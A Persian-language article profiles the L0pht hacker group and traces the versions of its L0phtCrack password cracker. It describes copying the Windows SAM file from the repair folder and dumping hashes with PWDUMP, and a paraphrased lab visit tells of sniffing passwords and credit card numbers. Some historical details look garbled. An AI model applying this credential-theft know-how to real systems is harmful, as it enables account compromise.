دردنیای امروز به تعداد زیادی نسبت به سالهای گذشته گروه های امنیت شبکه و غیره به طور تصاعدی گسترش یافته اند و همیشه این سوال مطرح می شود چرا این مقدار زیاد ...ولی آیامی شود به همگی  آنها کلمه هکر یا هکر ها  اطلاق کرد مسلما نه ...! اگر بخواهیم طبق همان تعریف قدیمی هکر یعنی کسی که به علوم رایانه در سطح بالایی حتی فراتر از سطح دانشگاه  آشنایی کامل دارد و به بیشتر زبان های برنامه نویسی مسلط بوده به سیستم ها و شبکه ها برای شناسایی نقطه های ضعف و اسیب پذیریشان بدون اجازه و بدون هیچگونه خرابکاری وارد وخارج می شوند و ان ضعف ها را می پوشانند یا و از طریق مهندسی معکوس ضعف سیستم ها و نرم افزارهای مذکور را شناسایی می کنند و با تلاش خود سعی بر رفع آن نواقص می کنند هکر نامیده می شوند  باتوجه  این تعریف تقریبا کلاسیک حداقل می توان گفت تعداد هکرهای واقعی در دنیا بسیار کم و تعداد گروههای هکری شاید به تعداد انگشتان دست یک انسان  هم نرسند

در این مقاله  بر آن شدم شما دوستان عزیز را حداقل با یکی از قدیمی ترین و شاید به عقیده ی بنده و بسیاری دیگر از دوستان  پیشرفته ترین گروه هکری را به شما معرفی کنم که شاید از بسیاری جهات از دیگر گروه ها بسیار حرفه ای تر بوده ودر بعضی جهات منحصر بفرد می باشند  . ابتدا شما در این مقاله به طور خلاصه با نرم افزار معروف و جهانی این گروه آشنا می شوید سپس در ادامه با بعضی از اعضا و همچنین  فعالیت های  تحقیقاتی اشان بیشتر آشنا می شوید .

(  گروه هکری موسوم به L0pht  )

شاید شما نیز تا به حال اسم L0pht   ( بخوانید  لافت) را شنیده باشید شاید این موضوع به سبب نرم افزار معروف این گروه به نام L0pht Crack ( LC)  بوده باشد کمتر هکری در این دوره را می توان پیدا نمود که از این نرم افزار تا به حال استفاده ننموده است البته کاربرد اصلی این نرم افزار برای مدیران سیستم جهت Recovery  پسووردهای گم شده و از یاد رفته است .عمدتا این نرم افزار برای Platform های  Microsoft Windows NT استفاده می گردیده است ولی هم اکنون نگارش آخر ( LC5) قادر به بازاوری پسووردهای خانواده Linux و UNIX نیز می باشد.

البته این را هم باید گفت که  L0pht Crack  تنها نرافزار برای شکستن پسووردهای ویندوز نیست بلکه نرم افزارهای متعدد دیگر هم هستند که این کار را برای شما انجام می دهند ولی به نظر من در سرعت بدست آوردن پسوورد های هش شده به پای LC  ها نمیرسند یکی از رقیبان سر سخت LC   نرمافزار Cain & Abel  هست البته کار اصلی Cain  کراکینگ نیست بلکه خیلی قابلیت های گسترده تر از کراکینگ را شامل می شود ازجمله Sniffer بسته ها و Tracing  و بسیاری از قابلیت های دیگر که آن را نه تنها از دیگر نرم افزارهای مشابه اش متمایز می کند بلکه یکی از بهترین آنها حساب می شود.

( پیشنهاد  میکنم این نرم افزار را نصب کرده و قابلیت های پیشرفته آن را روی شبکه وقتی که OnLine  هستید امتحان کنید .این نرم افزار به صورت کاملا رایگان هست و هنگام نوشتن این مقاله version 2.5 در اختیار همگان قرار دارد می توانید این نرم افزار را از آدرس http://www.oxid.it/ دریافت نمایید (

 واینکه صحبت در باره ی قابلیت های این نرم افزار گسترده تر از آنی هست که در این مقاله نمی شود به آن پرداخت ولی آن چیزی که به موضوع الان ما ربط پیدا می کند بخش کراکینگ Cain  هست که شباهت بسیاری از نظر نوع الگوریتم های کرک با LC  دارد و البته اگر به سمت چپ شکل زیر توجه فرمایید متوجه می شود که حتی بیشتر از LC  انواع مختلفی از پسووردها رو با الگوریتم های متفاوت تر Encryption  را شامل می شود ولی از نظر سرعت یک مقدار پاین تر از LC  قرار می گیرد البته این را هم بگویم که LC فقط برای Crack  پسووردهای ویندوز به طور منحصرا تولید شد و نباید نداشتن دیگر امکانات را به حساب ضعف  این نرم افزار در مقایسه با  Cain  گذاشت هر کدام از این نرم افزار ها کار مخصوص به خودشان را دارند ولی اگر فقط در همان بخش کراکینگ این دو را با هم مقایسه نماییم این دو رقبای سختی برای یکدیگر به شمار می روند.

حالا شما را قبل از خواندن مقاله و آشنایی با گروه L0pht  مقداری با نرم افزار معروف L0pht Crack (LC) آشنا می کنم امیدوارم این اطلاعات برای شما مفید واقع  شود.

 

 تاریخچه کوتاهی از سیر تکاملی این نرم افزار به ای نصورت است که LC1  به صورت سطر فرمان ایجاد و از آن استفاده می شد . تنها چیزی که از این نسخه به یاد می آورم سختی کار با فرامین این نرم افزار بود و اشکالات پیاپی بود که در هنگام کار با این نسخه به آن برخورد می کردیم. همین موضوع بود که کار با LC1  را از نظر کاربران دشوار می نمود تا اینکه نسخه LC1.5  با یک رابط گرافیگی ساده ولی  قابل استفاده در محیط کاری  Windows کار را تا مقداری تسهیل می نمود ولی همچنان مقداری این GUI  برای این نسخه  نامانوس می نمود

( رابط سطر فرمان برنامه ی L0pht Crack)

 .

پسوودها به طور عادی در ویندوز به صورت Encrypt شده با  الگوریتم NTLM در سیستم نگهداری می شوند فایلی که در خانواده ی سیستم های عامل ویندوز اطلاعات حساب های کاربری را در خود نگه میدارد فایلی است به نام Security Agent Manager File :SAM File که معمولا در شاخه Root  سیستم و در پوشه Config  نگه داری می شود  این فایل در هنگام اجرای  ویندوز غیر قابل کپی و حذف می باشد زیرا سیستمی که On  هست  در حال استفاده از این فایل برای شناسایی پروسه امنیتی سیستم اکانتینگ است به همین دلیل غیر قابل دسترس است لازم به یادآوری هست زیر برنامه ی LSASS.EXE  ویندوز به طور مستقیم از SAM File  استفاده می کند  که این خود نکته ای بود که در حملات Buffer Overflow  روی پروسه ی Lsass.exe  توسط هکرها در نظر گرفته شده است .

(فایل اصلی SAM )

 ولی همچنین یک کپی از SAM File  برای مواقع اضطراری در پوشه  Repair  در %Windir%  نگهداری می شود که می شود از آن کپی بر داشت

( یک نسخه از SAM File  جهت موهقع اضطراری )

در ضمن اگر از  روی  SAM File  برای مشاهده محتویات آن  و دیدن اکانت های ویندوز استفاده کنید به چیزی غیر از کاراکتر های غیر مانوس بر نمیخورید زیرا همانطور که در بالا به آن اشاره شد این فایل به خاطر مسایل امنیتی به حالت رمز شده می باشد. البته شما می توانید برای مشاهده محتویات این فایل از برنامه PWDUMP  استفاده نمایید ( هم اکنون PWDUMP3  در دسترس کاربران است ) البته هنوز هم نمی توانید مطالب اصلی اکانت ها را باز به صورت Clear Type  مشاهده کنید ولی از همین نمایش Decrypt  شده است که L0pht Crack ها قادر به شکستن پسووردهای هش شده شما هستد در زیر شما خروجی یکی برنامه های PWDUMP  مشاهده می کنید:

البته کار اصلی PWDUMP   برای یک مرحله از کار شکستن پسوورد توسط LC می باشد و SAM File  را برای انجام عملیات توسط LC  آماده می کند.

( خروجی SAM File  توسط PWDUMP)

در شکل پایین نسخه گرافیکی شده LC1  که بعد ها  به عنوان  نسخه LC1.5  به همگان به صورت Free  عرضه شد را مشاهده می کنید  البته خود   Source Code برنامه ی قبلی هیچ تغییری ننموده بود بلکه فقط از حالت سطر فرمان به شکل گرافیکی تغییر شکل داده بود . هم اکنون کلیه version  های این برنامه به صورت Trial Day  به مدت 15 روز قابل استفاده می باشد ولی باید برای Register  کردن آن و همچنین فعال کردن بعضی از قسمت های برنامه که در نسخه Demo  غیر فعال می باشند مثل بخش Brute Force  باید آنرا خریداری نمود .

(L0pht Crack v1)

 

ولی با اینکه با طراحی یک GUI  رضایت کاربران تا مقداری از این جهت برآورده شده بود هنوز یک مشکل اساسی تر از ظاهر نرم افزار باقیمانده بود و آن نیز سرعت بسیار کند LC1.5   بود البته این مشکل تا نسخه های بعدی نیز تا نسخه LC2.5 تقریبا به همراه این نرم افزار بود و این موضوع تقریبا به این علت است که تغییر چندانی بر روی الگوریتم نوع کراکینگ انجام نمی شد –به طور مثال برای کراک پسووردی مثل کلمه   take2asp1r1n تقریبا 7- 8 روز وقت نیاز بود مسئله بعدی اینکه تا این زمان  فقط نسخه LC.1.5 به صورت رایگان در اختار عموم قرار گرفته است که باید برای استفاده کامل از نسخه های  بعدی  Full Version  بایست آنها را خریداری نمایید زیرا یک سری از امکانات اصلی از جمله  Brute Force Attack  در نسخه هایDemo  در دسترس نمی باشد.

در دو شکل پایین نسخه های 2 و 2.5   مشاهده می نمایید

به فاصله یک سال پس از تولید LC2  نسخه بعدی نیز یعنی LC 2.5 نیز عرضه شد این نسخه نیز تفاوت چندانی با نسخه ی قبلی نداشت ولی به گفته ی یکی از نویسندگان این برنامه  تغییرات کوچکی در الگوریتم ها را ایجاد نمودند که در صورت گرفتن جواب های مثبت از این تغییرات کوچک آنها قصد دارند در نگارش بعدی ( LC3) یک جهش عمده در الگوی کراکینگ نرم افزار به وجود آورند که خود باعث افزایش سرعت در عملکرد نرم ا فزار می شود

سیر تکاملی L0pht Cracks  ادامه یافت تا اینکه با نگارش نسخه 3 جهشی هم در ظاهر و هم در عملکرد نرم افزار دیده شد با اینکه هنوز با مطلوب فاصله داشت ولی نشان از یک پیشرفت کلی را در آینده خبر می داد این نسخه بسیار پر قدرت تر از قبلی ها عمل می کرد و زمان کراکینگ نیز بسیار پایین امده بود این نسخه  قادر به  Remote Registery Dunping  پر قدرت تری ار نسخه های قبلی بود     

(L0pht Crack v3 )

و این روند رو به رشد در LC4 به بلوغ خود رسید به طوریکه قادر بود رشته کلمه ترکیب شده از 14 کاراکتر متفاوت از حروف و اعداد و نشانه ها را در کمتر از 24 ساعت کراک کند

هم اکنون بسیاری از متخصصان امنیت شبکه در سراسر دنیا از نسخه 4 بیشتر استفاده می کنند البته انتظار میرود با بیرون آمدن نسخه شماره 5 تغییر کاربری  به این شماره صورت گیرد

(L0pht Crack v4)

در ماههای اخیر آخرین نسخه از سری کراکرهای L0pht Crack  یعنی نسخه ی LC5  که خود در چندین نسخه مختلف عرضه شد از جمله Professional  و Administrator  و  Standard  به جرات می توان گفت LC5  بهترین کراکر موجود حال حاضر دنیای Cyber  می باشد می توانید  نسخه LC5  Trail Version   را از آدرس زیر دانلود نمایید http://www.atstake.com/lc

( L0pht Crack v5)

برنامه LC5  به طور شگفت آوری قادر به کراکینگ کلمات بسیار پیچیده می باشد از جمله قادر به چک کردن یک میلیارد ترکیب حروف ها در ثانیه است که قدرت شگفت انگیزی به این نرافزار می بخشد همانطور که گفته شد قادر به کراک پسووردهای هش شده UNIX بوده و  همانند  version  های قبلی دارای قدرت Sniff  داده ها و همچنین اضافه شدن متد  precomputed  به روش های قبلی است قابل ذکر است 4 روش کلاسیکی که L0pht Crack  ها از آن ها عمدتا بهره میبردند شامل User Info و Dictionary Attack  و  Hybrid Attack  ودر آخر اگر هیچکدام از متد های فوق به جواب نمیرسیدند روش Brute Force  اخرین روش موجود می باشد گرچه مقداری زمانبر است که این بستگی به نوع کلمه از جمله  بلندی کلمه و ترکیب حروف که به طور مثال آیا حروف کوچکند یا بزرگ اعداد و نشانه ها آیا در آن به کار رفته است یا  نه ، بستگی دارد ولی به هر حال بعد از گذشت زمان لازم حتما به جواب خواهید رسید .

البته موضوع این مقاله مربوط به این نرم افزارها نیست بلکه فقط از برای آشنایی دوستان یاد آوری کوچکی به نحوه توسعه و  عملکرد این نرم افزار اشاراتی کردم البته صحبت در مورد چگونگی عملکرد این نرم افزارها و آشنا شدن به خصوصیات هر یک خود مجالی دیگر می طلبد که بنا به موضوع جاری این مقاله در این فرصت نمی گنجد ادامه بحث فوق را به مقاله ای دیگر موکول می کنم  . موضوع اصلی مقاله ای را که در ذیل آن را مطالعه خواهید کرد آشنایی با خود گروه و اعضای کنونی گروه  L0pht  می باشد .همچنین آشنایی با  توانایی های این گروه هکر ی که از اواخر دهه 70 و اوایل دهه 80 میلادی تاسیس گردید می باشد .شاید این سوال برای شما پیش آمده باشد که چرا با وجود این همه از گروه های هکری و تیم های مختلف که هم اکنون در سراسر دنیا مشغول فعالیت هستند و شاید برخی از آنان هم اسم و رسمی در دنیا برای خود بر پا کرده  اند .چرا گروه L0pht ؟

شاید یکی از علت ها ای که می توانم به آن آشاره کنم این باشد که این گروه یکی از قدیمی ترین گروههای امنیت شبکه بود که تقریبا 25 سال پیش تاسیس شد به همراه وارد شدن کامپیوتر های شخصی Apple به بازار در دهه 80 میلادی  بعضی از جوانان punki   مسلک آن دوره به این پدیده جدید که در آن زمان پدیده ای نو به شمار می آمد روی اوردند. شاید این مسئله  در آن زمان که نیاز به پاسخ دادن به یک سری کنجکاوی های دورنی آنها نیز بر شمرده می شد  ، بود و این مسائل بود که  در آخر به تشکیل این گروه انجامید که با سیر تکاملی این گروه در  دنیای هکرهای سایبر بر افزایش  تجربه این جوانان نیز منجر می شد هم اکنون این گروه به عنوان مرکز تحققیقاتی شرکت @tstake  می باشد و در حال تولید چندین نرافزار دیگر از جمله Web Proxy  و Anti Sniff  و غیره است شاید شما نیز یکی از استفاده کنندگان حال  حاضر چاقوی ارتشی جیبی شبکه ها  یا همان Netcat  خودمان در Windows Platforms بوده باشید و همانطور که می دانید اصلا این ابزار برای خانواده های UNIX  می باشد   بله به مدد همین گروه و متخصصان آن بود  بود که NetCat  را علاوه بر UNIX در داخل  Windows Families  نیز استفاده می کنیم . از زمان تشکیل این گروه به نسبت عمر دنیای کامپیوترهای شخصی زمان زیادی می گذرد در ابتدا تعداد اعضای گروه L0pht  بیشتر از حال حاضر آن بود اما در حال حاضر فقط هشت مرد جوان اعضای این گروه را شامل می شوند . از جمله کارهای بسیار اساسی این گروه پیدا کردن  Bug های سیستمی در شبکه ها می باشد بسیاری از Exploit هایی را که هم اکنون گروه های به اصطلاح هکری ( Skritp Kiddies) از آنها برای نفوذ به شبکه ها و دیگر اهداف استفاده می کنند را همین گروه L0pht   کشف و در دنیا ثبت نموده است .

البته به نظر می رسید در اواخر این هزاره این گروه در حال منحل شدن بود به این علت هم که بعضی از اعضای اصلی این گروه تحت تعقیب دولت ایالات متحده قرار گرفتند ولی این اعضا برای رهایی از هر گونه پیگرد و جلوگیری از بازداشت خود پذیرفتند مسوولیت تحقیقات امنیت یک  شبکه ی  از شرکت های دولتی که همان  @tstake  می باشد را ناچارا بپذیرند با این وجود هنوز عده ای بر این باورند که این  سلاطین هک واقعا به کار برای دولت مشغول نسیتند و فقط برای رهایی از زندان این موضوع را پذیرفته اند . احتمال می رود چندی از  هک های سایت های معروف دنیا توسط چند تن از اعضای جدید همین گروه به وقوع پیوسته باشد . از جمله شاکیان قدیمی این گروه  Microsoft  می باشد زیرا مدیران این شرکت بر این باورند که بسیاری از باگ هایی را که این گروه کشف می کند را به جای منتشر ساختن در محافل دولتی و اعلام عمومی ابتدا در دنیای زیر زمینی پخش کرده و از این طریق باعث صدمات جبران ناپذیر  زیادی به امنیت شبکه در سرتاسر دنیا می شوند

در ادامه شما را دعوت میکنم با هم به  بازدید از لابراتوار تحقیقاتی این گروه  که در طبقه دوم یک ساختمان تقریبا قدیمی در حومه شهر بوستون ایالات متحده واقع شده است برویم و با هم ببینیم که چگونه این جوانان سیطره خود را بر روی شبکه گسترش می دهند  همچنین در ادامه شما را با اعضای این گروه و همچنین پروژه های در دست تحقیق شان آشنا می نمایم.

توجه : ( این قسمت از مقاله توسط یکی از گزارشگران معروف آمریکایی  مجله New York Times  تهیه شده است. به جهت طولانی بودن مقاله یاد شده از آوردن کل مطالب آن گزارش  صرف نظر می کنم و به قسمت های که برای خونندگان می تواند جالب باشد به طور خلاصه به انها اشاره میکنم )

شاید شما هم در اجلاس سالا نه هکرها شرکت کرده اید در  Defcon 11 من هم به عنوان خبرنگار مجله برای تهیه گزارشی حضور داشتم ولی یک چیز نظر من را در بین آن همه هکر و سیاستمدار و محققان بیشتر به خودش جلب کرده بود شخصی بود با موهای بلند و تیپ مد و لباسی که من را به یاد 15-20 سال گذشته می انداخت. با پرس و جو از افراد شرکت کننده در اجلاس فهمیدم که او مدیر یک گروه هکری به نام L0pht   هست البته نام واقعی او را نفهمیدم ولی به او Dr. Mudge می گفتند البته از کسی هم شنیدم که اسم واقعی اش Zatko   هست ولی من فکر نمی کنم درست باشد .همچنین با مقداری پرس وجو و شرکت در جلسات کنفرانسی که Mudge  در حال سخنرانی بود فهمیدم که یکی از بزرگترین هکر های حال حاضر دنیا است .حالا یک سال از آن زمان می گذرد و من با تلاش فراوان و با کمی خوش شانسی توانستم نظر مدیر این گروه را برای یک بازدید و مصاحبه هایی کوتاه با اعضای این گروه جلب کنم البته در آن بازدید من اصلا نتوانستم مصاحبه ای را با هیچ کدام از اعضا داشته باشم آنها در حال کار خودشان بودند و من در حال نظاره کردن شان و همه چیز به نحو دیگری که من انتظار نداشتم پیش رفت در واقع من در آنجا سحر شده ی جادوی قدرت این هکرهای خوش فکر شده بودم و در واقع آنها بودند که روند بازدید من را در آنجا رقم زدند . 

 

( آقای Dr Mudge رئیس گروه L0pht )

اعضای گروه L0pht   می توانند وقتی شما Online  هستید شما را بر روی ر شبکه شناسایی کرده  و بدون هیچ مشکلی  شما رو به حالت   Offline  ضربه زده  و اسیب پذیر نمایند همچننین آنها شماره ی کارت های اعتباری شما رامی دزدند و پوشش کل توان شبکه اتان را به طور کامل قطع می نمایند و با این همه وجود آنها انتظار دارند شما اینطور فکر کنید که آنها آدم های خوبی هستند!!!

در حال با رفتن از پله های قدیمی یک ساختمان فکر های زیادی به ذهنم خطور می کرد حالا که توانسته بودم موافقت مدیر این گروه را برای بازدید از لابراتوارشان جلب کنم باید از آنها چه سوال هایی میکردم مثلا تو یکی از مقاله های خود این گروه این مطلب رو نوشته بودند که :

یک سوال از روی کنجکاوی .آیا میخواهید بدانید افراد را در وب چگونه Offline  کنید ؟

بعد از وارد شدن به لابراتوار دیدم این جوانان هر کدام به کاری مشغول هستند و فهمیدم این مثل همه مصاحبه های قبلی نیست که طرف مقابل جلوم روی صندلی بشیند و من از او سوال کنم  پس رفتم سراغ یک جوانی که جلوی یک کامپیوتر پیش رفته ی Sun Microsystems   نشسته بود و آنقدر غرق در کار بود به طوریکه هنوز نفهمیده بو من کنارش هستیم به هر حال Silicosis  ( اسمی که به آن شناخته می شود) جوانی بود لاغر اندام با چشمهایی جدی که مقداری تو صورت ظریفش هم  فرو رفته بود او  جدید ترین عضو هکرهایی بود که به انها L0pht  اطلاق می شد . کاملا مشهود بود که زیاد راحت نبود  وقتی که ازش خواستم درباره ی خودش صحبت کند او  گفت که سنش 20 سال هست .در هنگام مصاحبه با من هم چنان مشغول هک کردن بود . او یک دفعه رو به من کرد و گفت در حال نوشتن  برنامه ایست که هنوز کسی آن را تا حالا در دنیا طراحی نکرده است سپس با مکثی کوتاه ادامه داد که این برنامه واقعا یک مبارزه جدی با تکنولوژی حال حاضر در دنیاست

من در کنار پشت سیستمی که او در حال کار با آن بود نشستم او می خواست به من کشف جدیدش را نمایش دهد موضوع این بود که این جوان می توانست با رد گیری و تعقیب پیغام هایی که در یک شبکه خیلی بزرگ بین کاربر ها رد و بدل می شد به سیستم هر شخصی که در حال استفاده از  Windows 95,98,2000 بود دست پیدا کند و حتی کسانی را که در حال استفاده از مودم کابلی بودند را از وب Disconnect  کند. من کاملا شگفت زده شده بودم.

هشت مردی که گروه L0pht  را تشکیل داده اند خودشان را با اسم های مجازی به من معرفی کردند و من هیچ وقت نفهمیدم که اسم های واقعی انها چیست چه برسد که از دیگر مسائل آنها باخبر شوم مثلا اینکه از کجا آمدند تحصیلاتشان چست ، از چه زمانی وارد این موضوعات شدند و بسیاری از سوالات دیگر که همه ی آنها بی جواب ماند. به هر حال اسم مجازی این هشت نفر به شرح زیر هست:

Dr.Mudge . Space Rogue , Dildog ,  Brain Oblivion , Kingpin , Silicosis, Weld Pond and John Tan

The L0pht boys, from left: Silicosis, Brian Oblivion, John Tan, Mudge, Kingpin (standing), Space Rogue (front), Weld Pond and Dildog.

Silicosis برای نشان دادن این مطلب  جدیدی که کشف کرده بود یک سری دستوراتی را به صورت Online  نوشت و بعد با حالت خاصی دکمه Enter  را زد و با اطمینان کافی از کامپیوتری که از اطاق تا چند لحظه پیش به سرورهای دانشگاه MIT  وصل شده بودند همگی  آنها به حالت Offline در آورده بود و حالا یک سری از اطلاعاتی را که در بین مسیر باقی مانده بودند و به علت Offline  بودن سرورهای دانشگاه MIT در حال بلوکه شدن  بودند را با مهارت خاصی جمع آوری کرد و بعد از خارج سازی آن Packet  ها از حالت Encrypt به من لیست بلندی  از شماره های تلفن افراد گرفته تا مکالمات خصوصی و شماره های رمز و شماره ی کارت های اعتباری وخیلی چیزهای دیگه را نشان داد او  به من گفت که با این کارش حتی هیچ جایی رو هم هک نکرده و فقط به جمع آوری داده های سرگردان بر روی آن مسیر های خاص پرداخته که این موضوع هم  هیچ جا خلاف قانون نمی تواند باشد  و همچنین توضیح داد که چگونه می شود از این روش برای گرفتن اطلاعات لازم از بین وب و اطلاعاتی که به  کامپیوتر نزدیک  شما رد و بدل شده بود برای دوباره مسیرگرفتن به سیستم شما از آن استفاده کرد. یک هکر باهوش می تواند از این روش برای Capture  کردن اطلاعات بانکداری و تمامی شماره های رمز و اطلاعات کارت های اعتباری استفاده کند.

Silicosis این موضوع جدید خودش را در اواسط ماه گذشته در وب سایت L0pht  منتشر کرد همچنین این مسئله توسط انتشارات کامپیوتری InfoWorld  و مجله انلاین ZDNet  پوشش داده شد همزمان با انتشار این مسئله  سخنگوی  Microsoft  به عنوان اعتراض به این مطلب برای تقبیح این عمل به گزارشگران گفت که این گروه باید سعی خود را برای بهبود و ساخت نسخه امن تری از protocol  هاباید متمرکز بکنند نه برای تضعیف آن .Silicosis  از این مطالب سخت شگفت زده شده بود و گفت چرا Microsoft  به بهبود سیستم هایشان نمی پردازند و مشکلات فنی متعدد  موجود در پروتکل ها و محصولاتشون  را برطرف نمی کنند و این اشکالات در وهله اول متوجه خود آنها می باشد که چرا برای کسب درآمد بیشتر مسئله امنیت را در نظر نگرفته و با وجود آگاهی به این موضوع که محصولاتشان پر از اشکالات متعدد است که خواه ناخواه به مرور زمان کشف می شوند به پخش وسیع آن در سراسر دنیا می پردازند پس خود آنها می باشند که بستر ناامنی در شبکه ها را مبتنی بر محصولات ضعیفشان آماده می کنند  .حال اینکه افرادی این ضعف های جدی را کشف می نمایند ازاین مسئله بناراحت و عصبانی می شوند .

در ادامه مصاحبه با Silicosis بودم که Silicosis  و Brain  جهت نصب یک آنتن ماهواره ای به بالای ساختمان رفتند آنها می خواستند با نصب این انتن 1.5 متری Send and Receive  یک  سیستم شنود ماهواره ای را ایجاد نموده و  این مسئله را تست کنند که آیا قادر به Capture  کردن اطلاعات ماهواره ای ارسالی از ایستگاههای کاری زمینی و بالعکس می باشند .واقعا که در این بازدید 2 ساعته با چه چیزهای عجیبی مواجه شده بودم . هر کدام از این جوانان در یک زمینه ی خاصی تبحر داشتند  ولی به طور کلی همه گی چه از جوانترینشان Silicosis  وچه از مسن ترین شان  Mudge  تسلط شگفت انگیزی به برنامه نویسی به برنامه های مختلف داشتند به خصوص  Mudge  که در همان جا به من چند تا از ابداعاتش را نشان داد .

آنها بر روی پروژه هایی از قبیل طراحی نرافزار های هوشمند اینترنتی گرفته تا ابداع نرم افزارهای تجاری چند هزار دلاری سخت مشغول کار بودند و شاید این گروه در بسیاری از جهات با خیلی از دیگر گروه ها فرق های اساسی داشتند و ان هم در نوع تحقیقاتشان بیشتر بود آن ها هکرهایی Top  بودند که اصلا به فکر Defacement  و خرابکاری در داده ها نبودند  و دیگر کارهای که در بسیاری از جوامع هکری رواج دارد در شیوه ی کاری اینان معنایی نداشت یکی از مهمترین خدماتی را که این گروه ارائه می دهد دادن  خدمات مشاوره ای امنیت داده ها وشبکه به متقاضیان است که البته پول خوبی را هم از این راه کسب می کنند به طوریکه برای امن کردن هر سایت اینترنتی برای هر ساعت 150 دلار دریافت می کنند جه برسد به طراحی شبکه های امن و دادن خدمات مشاوره . گاهی اوقات .آنها برای تفریح هم که شده به  تهیه ی Bot های اینترنتی گرفته تا ویروس های مخرب پنهانکار و تروجان های مختلف  تا به بازیهای قدیمی نوستالوژی کمودور و Amiga  , غیره مشغول می شوند والبته آنها  به شاهکار همیشگی خود که  L0pht Cracks    اشاره می کنند و به ابداع الگوریتم های پیچیده ی آن افتخار می کنند.

به هر حال به این موضوع رسیدم که این هشت هکر جوان در مسیری گام بر می دارند که با کشف مشکلات سیستم ها و اعلام کردن آن ضعف ها به دیگر شرکت ها  برای خود هم منبع درآمد بالایی بدست می آورند  حالا  از این جزئئیات می گذریم و بیشتر با خود گروه آشنا شویم .

لابراتوار L0pht  در طبقه ی دوم یک ساختمان قدیمی در حومه شهر بوستون واقع شده است که بر روی در آن علامت یک مرد با پیتزا ، واقع شده است . صدای بازی Domino  هم در سراسر ساختمان پیچیده است .و من در ابتدا فکر کردم که ادرس لابراتوار را اشتباهی آمدم.

 

به نظر می رسید همگی  آنها سنی   بین 20 تا 30 سال داشته  باشند اما در 6-7 اتاقی که انها مشغول به کار بودند  مثل خانه های بازی و سرگرمی و مغازه های قطعات الکترونیکی   طراحی شده بود   بر روی دیوار یکی از اتاق ها پر از مدارات و بورد های کامپیوتری جدید و قدیمی بود که بر روی هم تا انتهای سقف چیده شده بودند  در سمت دیگری شما می توانستید از هر قطعات کامپیوتری جدید و قدیمی پیدا کنید . در این لابراتوار در حدود 200 کامپیوتر از سیستم های پر قدرت مثل Sum Microsystems  گرفته  تا یادمان هایی از قطعات به جا مانده از سیستم های Commodore 64  و  Apple II  می توانستید پیدا کنید. من خود یک ماژول قدیمی RAM را که دیگر فکر کنم در هیچ جای از دنیا حتی شرکت سازنده اش یافت نمی شد از آنها به یادگار گرفتم و به دسته ی کلیدهایم نصب کردم شاید من هم به نوعی دچار  نوستالوژی شده بودم .  اینجا پر از کابل های رنگی سیاه و زرد بود که به این طرف و آن طرف اتاق ها کشیده شده بود .چندین سرور و مسیر یاب همچنین  . مودم های DSL  و  ISDN  و CPU  های نیمه باز شده بود  در آنجا به وفور یافت می شد بر روی دیوار ها هم عکس هایی از خوانندگان Rock  دهه ی 80 دیده می شد  در اینجا چند تا شبکه ی داخلی هم برای کارهای داخلی خودشان طراحی کرده بودند  و از طریق همین شبکه ی داخلی با هم از اطاق های کناری صحبت می کردند و به هک های گروهی می پرداختند البته باز هم به این مساله اشاره می کنم که نوع هکی که این هکر ها به آن مشغول بودند تفاوتی بنیادی با آنچه که در دنیای هکرها به آن هک گفته می شود وجود داشت .

(Dr.Mudgeو Brain Oblivion)

 

روش کاری  گروه L0pht  به اینصورت هست که آنها در ابتدا بر روی سیستم های داخلی خودشان حفره هایی را پیدا می کنند و بعد از اطمینان از نوع وجود حفره و ویژگی ها و مشخصات آن آسیب پذیری اول به صاحب آن سیستم ها برای رفع آن حفره ها پیشنهاد قرارداد می کنند و در صورت عدم موافقت آنها که در اغلب آوقات هم همینطور است ( زیراتعداد زیادی از  حفره های کشف شده توسط  این گروه مربوط  به شرکت مایکروسافت است و خود شما می توانید بقیه ی مطلب را حدس بزنید )  آن را به طرق مختلف در اختیار دیگر هکرها از طریق وب سایت شرکت @stake  قرار می دهند اما نه طوریکه آنها را به مشکلات قضایی روبرو کند این دیگر هکر ها هستند می ایند و به وب سایت آنها سر می زنند و با آگاهی از آسیب پذیری های جدید برای آنها Exploit   می نویسند در واقع هکرها فقط  از یافته های این گروه استفاده می کنند و گه گاهی برای یک سری از آن حفره هاExploit  هم می نویسند همین چند وقت پیش بود که یکی از سناتور به آنها لقب گانگستر های سایبر داده بود و گفته بود این گروه کارشون در این شرکت در  زمینه ی ایجاد امنیت برای شبکه ها نیست بلکه اگر برای بهبود وضع امنیتی مشکلات سیستم آنها  را پیدا می کنند نباید این مشکلات فنی را در اختیار دیگر هکر ها قرار بدهند بلکه باید  باجایی که او مشکلات را در آنجا پیدا کردند تماس بگیرند و از آنجایی که بیشتر حفراتی که این گروه هر ساله  کشف و منتشر می کنند عمدتا   مربوط به  محصولات Microsoft  هست و این گروه هم هیچ وقت مبادرت به اطلاع دادن در مورد آن حفره ها به  Microsoft  نمی کنند چون  این شرکت با آن همه سرمایه حاضر نیست هیچ چیزی در ازای آن مطالب به این گروه  بپردازد و همیشه دعوای لفظی و کنایه زدن به هم دیگر بین این دو از چندی پیش بوده  و همین موضوع را جالب می کند که هشت مرد جوان چگونه در مقابل غول کامپیوتری دنیا اینطور  ایستاده اند و این در حالی بود که  Microsoft  توانسته بود رقبایی مثل Open Source  ی ها  و بسیاری دیگر از شرکت های بزرگ را تحت سلطه ی خود در بیاورد و تا مدتی هم که شده کنار بگذارد ولی در مقابل این 8 مرد کاملا تسلیم شده است و جالب است بدانید اگر Microsoft به این هکر ها می گوید تروریست های سایبر  اصطلاحی هم که L0pht  ای ها برای Microsoft  به کارمی بردند این می باشد Microshit   

(King Pinو Space Rogue)

 

شاید یکی از مهمتریتن اعضای این گروه رئیس  آن آقای Mudge  است Mudge  نیز علاوه برL0pht  عضو گروه هکری کلاه مشکی ها به نام  Cult of dead Cow  می باشد شاید شما هم با تروجان معروف Back orifice 2000( Bo2k)  آشنا باشید و یا حتی با آن نیز کار کرده باشید Mudge  و Dildog  دو تن از نویسندگان اصلی این برنامه یا تروجان بودند به خاطر مسایل امنیتی و اینکه بعضی از اعضا این گروه  جزو جامعه اصلی کلاه مشکی ها در امریکا بودند که البته به نظر من تمامی این گروه همگی جزوه  Black hat  ها می باشند به سختی توانستم رضایتشان را برای گرفتن چند عکس جلب نمایم   شخصی که بیشتر از همه نظر من را به خود جلب کرده بود اقای  Mudge  بود.

